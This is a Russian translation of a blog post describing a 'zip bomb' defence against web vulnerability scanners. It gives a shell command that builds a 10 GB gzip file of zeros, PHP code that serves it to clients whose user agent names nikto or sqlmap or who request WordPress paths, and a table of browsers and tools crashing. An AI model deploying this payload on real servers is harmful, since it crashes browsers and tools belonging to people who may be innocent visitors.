Эта статья была первоначально опубликована в блоге Кристиана и опубликована здесь с его разрешения. Ознакомьтесь с остальными его очень интересными статьями, если вы хотите узнать о IoT, криптовалютах, PHP и многом другом!
Если вы когда-либо размещали веб-сайт или даже администрировали сервер, вы будете очень хорошо осведомлены о том, что плохие люди пробуют плохие вещи с помощью ваших вещей.
Когда я впервые принял свой собственный маленький linux box с доступом по SSH в 13 лет, я ежедневно просматривал журналы и сообщал IP-адреса (в основном из Китая и России), которые пытались подключиться к моей милой маленькой коробке (которая на самом деле была старой ThinkPad T21). с разбитым дисплеем, работающим под моей кроватью) их провайдерам.
На самом деле, если у вас есть Linux-сервер с открытым SSH, вы можете увидеть, сколько попыток подключения делается каждый день:
grep 'authentication failures' /var/log/auth.log
WordPress обрек нас всех
Хорошо, честно говоря, сканеры веб-уязвимостей существовали до WordPress, но поскольку WP широко распространен, большинство сканеров веб-уязвимостей включают в себя сканирование некоторых неправильно настроенных папок wp-admin
Поэтому, если небольшая новая хакерская группа захочет получить какой-то горячий кредит, они загрузят один из этих сканеров и начнут тестирование на многих веб-сайтах в надежде получить доступ к сайту и порочить его.
Вот почему всем администраторам серверов или веб-сайтов приходится иметь дело с гигабайтами журналов, полными попыток сканирования. Так что мне было интересно ..
Есть ли способ нанести ответный удар?
Пройдя несколько потенциальных реализаций с IDS или Fail2ban, я вспомнил бомбы ZIP со старых времен.
WTH это бомба ZIP?
Таким образом, оказывается, что сжатие ZIP действительно хорошо с повторяющимися данными, поэтому, если у вас есть действительно огромный текстовый файл, который состоит из повторяющихся данных, таких как все нули, он сожмет это действительно хорошо. Как ДЕЙСТВИТЕЛЬНО хорошо.
Как показывает нам 42.zip , он может сжать файл размером 4,5 петабайта (4.500.000 гигабайт) до 42 байтов. Когда вы попытаетесь просмотреть содержимое (распаковать или распаковать его), вам, скорее всего, не хватит места на диске или ОЗУ.
Как я могу ZIP бомбить сканер?
К сожалению, веб-браузеры не понимают ZIP, но они понимают GZIP.
Поэтому сначала нам нужно создать GZIP-файл размером 10 гигабайт, заполненный нулями. Мы могли бы сделать несколько сжатий, но давайте пока будем проще.
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
Как видите, это 10 МБ. Мы могли бы сделать лучше, но достаточно хорошо сейчас.
Теперь, когда мы создали эту вещь, давайте настроим скрипт PHP, который доставит его клиенту.
<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header('Content-Encoding: gzip');
header('Content-Length: '.filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
Это оно!
Мы могли бы использовать это в качестве простой защиты, например:
<?php
$agent = lower($_SERVER['HTTP_USER_AGENT']);
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}
function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}
function startsWith($haystack,$needle){
return (substr($haystack,0,strlen($needle)) === $needle);
}
Этот сценарий, очевидно, не является — как мы говорим в Австрии — желтым яйцом, но он может защитить от сценариев, о которых я упоминал ранее, которые не подозревают, что все эти инструменты имеют параметры для изменения пользовательского агента.
Что происходит, когда вызывается скрипт?
клиент | Результат |
---|---|
IE 11 | Память растет, IE вылетает |
Хром | Память увеличивается, отображается ошибка |
край | Память растет, потом капает и загружается навсегда |
Nikto | Кажется, сканирует нормально, но не выводится |
SQLmap | Высокое использование памяти до сбоя |
(если вы тестировали его с другими устройствами / браузерами / скриптами, пожалуйста, дайте мне знать, и я добавлю это здесь)
Если вы рискуете, попробуйте сами